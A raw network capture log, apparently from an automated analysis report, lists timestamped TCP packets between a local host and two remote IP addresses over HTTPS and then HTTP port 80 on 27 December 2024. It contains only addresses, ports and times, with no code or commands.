Dec 27, 2024 15:03:48.520036936 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:49.342659950 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:49.342904091 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:49.342993021 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:49.343071938 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:49.343090057 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:49.546220064 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:49.546283007 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:49.546344042 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:49.546943903 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:49.546958923 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:50.804517984 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:50.804608107 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:50.805968046 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:50.805979013 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:50.806250095 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:50.807547092 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:50.807729959 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:50.807756901 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:50.807811975 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:50.807822943 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:51.816539049 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:51.816649914 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:51.816694975 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:51.816821098 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:51.816847086 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:52.198483944 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:52.198533058 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:52.198618889 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:52.198987007 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:52.199003935 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:53.414287090 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:53.414366007 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:53.415687084 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:53.415699005 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:53.415935993 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:53.417223930 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:53.417311907 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:53.417319059 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:54.185235977 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:54.185328007 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:54.185394049 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:54.185590029 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:54.185606956 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:54.713574886 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:54.713622093 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:54.713716030 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:54.714031935 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:54.714045048 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.080715895 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.080879927 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.082204103 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.082216978 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.082484007 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.085155964 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.085834026 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.085865974 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.085979939 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.086013079 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.086112976 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.086139917 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.086863041 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.086880922 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.088093042 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.088118076 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.089719057 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.089744091 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.089754105 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.090044975 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.090066910 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.131345034 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.131544113 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.131606102 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.131623983 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.179327011 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.180509090 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.180567980 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.180597067 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.227324963 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.227952003 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:56.275329113 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:56.495022058 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:59.369591951 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:59.369710922 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:59.369772911 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:59.374054909 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:59.374082088 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:59.752717018 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:59.752762079 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 15:03:59.753067017 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:59.753492117 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:03:59.753509045 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 15:04:01.059674025 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 15:04:01.059834957 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:04:01.063781023 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:04:01.063791037 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 15:04:01.064050913 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 15:04:01.072720051 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:04:01.072751045 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:04:01.072799921 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 15:04:01.841945887 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 15:04:01.842037916 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 15:04:01.842144012 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:04:01.842431068 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:04:01.842449903 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 15:04:01.842459917 CET	49741	443	192.168.2.4	172.67.165.185
Dec 27, 2024 15:04:01.842464924 CET	443	49741	172.67.165.185	192.168.2.4
Dec 27, 2024 15:04:01.855815887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:01.975426912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:01.975564957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:01.994746923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:02.115799904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.412262917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.412297010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.412307978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.412362099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.412379980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.412384033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.412394047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.412408113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.412422895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.412441969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.412462950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.412635088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.412647009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.412683010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.532378912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.532448053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.532551050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.622776985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.622797012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.622854948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.625052929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.625138044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.625176907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.633558035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.633610964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.633652925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.641819954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.641916990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.641962051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.650212049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.650369883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.650418997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.658613920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.658683062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.658742905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.666973114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.667069912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.667114973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.675368071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.705549002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.705600977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.705600977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.708036900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.708089113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.708239079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.716487885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.716546059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.716557980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.742551088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.742633104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.742682934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.746664047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.746725082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.746762037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.796431065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.833249092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.833350897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.833399057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.836738110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.836819887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.836905003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.843607903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.843630075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.843674898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.850411892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.850455999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.850507021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.857301950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.857465982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.857511997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.863713026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.863835096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.863877058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.870238066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.870296001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.870352030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.876710892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.876816988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.876858950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.880851030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.880954981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.881000042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.884824038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.884927988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.885020018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.888716936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.888792038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.888839960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.892693043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.892786026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.892852068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.896636009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.896732092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.896790028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.916127920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.916244984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.916346073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.918139935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.918222904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.918301105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.922105074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.922313929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.922375917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.926006079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.926192045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.926260948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.929801941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.929948092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.931466103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.933738947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.933788061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.933832884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.937874079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.938025951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.938079119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.941673994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.941752911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.941807985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.945668936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.945800066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.945849895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:03.949563026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:03.999543905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.043910980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.044023037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.045839071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.045914888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.045958996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.046591043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.049662113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.049762011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.049807072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.053473949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.053627014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.053694963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.057208061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.057349920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.057400942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.060920954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.061033964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.061086893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.064429045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.064531088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.064579964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.067831039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.067920923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.067965984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.071147919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.071259022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.071307898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.074402094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.074510098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.074651957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.077568054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.077675104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.077723980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.080724955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.080908060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.080956936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.083863020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.084012032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.084065914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.086997032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.087104082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.087151051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.090193033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.090281010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.090328932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.093413115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.093535900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.093579054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.096513987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.096626997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.096674919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.099709988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.126584053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.126616955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.126699924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.128247023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.128307104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.128371954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.165621042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.165755987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.165867090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.167166948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.167216063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.167282104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.170257092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.170377970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.170429945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.173449039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.173506975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.173573971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.176572084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.176668882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.176722050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.179795027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.179833889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.179872036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.182895899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.183028936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.183080912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.186033010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.186177969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.186232090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.189230919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.189342022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.189390898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.192392111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.192497015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.195401907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.195548058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.195641994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.195826054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.198689938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.198807955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.198853970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.201898098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.202020884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.202065945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.204974890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.205108881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.205172062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.208164930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.208261013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.208308935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:04.211297035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:04.211441040 CET	80	49743	185.215.113.16	192.168.2.4
